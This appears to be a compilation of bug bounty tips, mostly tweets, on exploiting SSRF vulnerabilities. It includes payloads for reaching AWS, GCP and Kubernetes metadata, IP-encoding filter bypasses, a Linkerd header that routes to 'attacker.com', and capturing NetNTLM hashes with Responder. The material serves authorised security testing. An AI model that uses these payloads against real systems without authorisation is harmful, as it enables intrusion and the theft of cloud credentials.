#BugBounty Tip: When you find an SSRF vulnerability, run Responder on your server and make the vulnerable system connect back to you. Sometimes you can get NetNTLM hashes and either crack them or escalate it to an SMB Relay attack. #bugbountytip
Use URLs with embedded credentials (e.g. http://user:pass@target.com) to login on internal http services when exploiting SSRF vulnerability.
#bugbountytip Found Linkerd service (look for headers such as “Via: linkerd” or “l5d-*”)? Try SSRF by overriding dtab via request header, e.g. “l5d-dtab: /svc/* => /$/inet/attacker.com/80” to reach your server or “l5d-dtab: /svc/* => /$/inet/169.254.169.254/80” for AWS metadata.
In case you wanted to test an SSRF but don't own a vps and burp collaborator is blocked you can use this https://canarytokens.org/generate
#Bugbountytip Got a SSRF? no metadata endpoints to hit? Try https://kubernetes.default.svc/metrics if you get a load crap come back jackpot you've hit the kubernetes API and this should indicate it's shit the bed time for any security team. (url can change)
When you have a SSRF vulnerability on a Google Cloud server, the fastest way to grab all internal metadata is this "All in one" payload : hxxp://metadata.google.internal/computeMetadata/v1beta1/?recursive=true #BugBountyTip
Just had a weird SSRF 'bypass' which would only pull data from their domain so anything you queried would be hxxps://www.theirdomain.com/reflectedhere/. Weirdly using /%2F//mysite.com/ caused it to hit external sites. Why? I have no idea. #bugbountytip
When dealing with SVG XLINK SSRF, in order to fingerprint the versions of libraries on vulnerable server, Generate the wordlist locally and fuzz it. find /usr -type f -name "*.png" >> all_usr_png.txt #bugbountytip
#bugbountytip Use URLs with embedded credentials (e.g. http://user:pass@target.com) to login on internal http services when exploiting SSRF vulnerability.
Did you find the #SSRF, but http://169.254.169.254/ is blacklisted? #protip try http://0xA9FEA9FE/, http://0251.0376.0251.0376/ or get more examples from @agarri_fr talk
#BugBounty #bugbounties #bugbountytip #infosec Bypass #SSRF filters by using http://127.1 instead of http://127.0.0.1 It resolves to the same but confuses filters blocking localhost/127.0.0.1 specifically!
#SSRF #ProTip Sometimes, the server appends something (path, parameters, ...) to an URL your control. Simply add "#" to your URL, that may work!
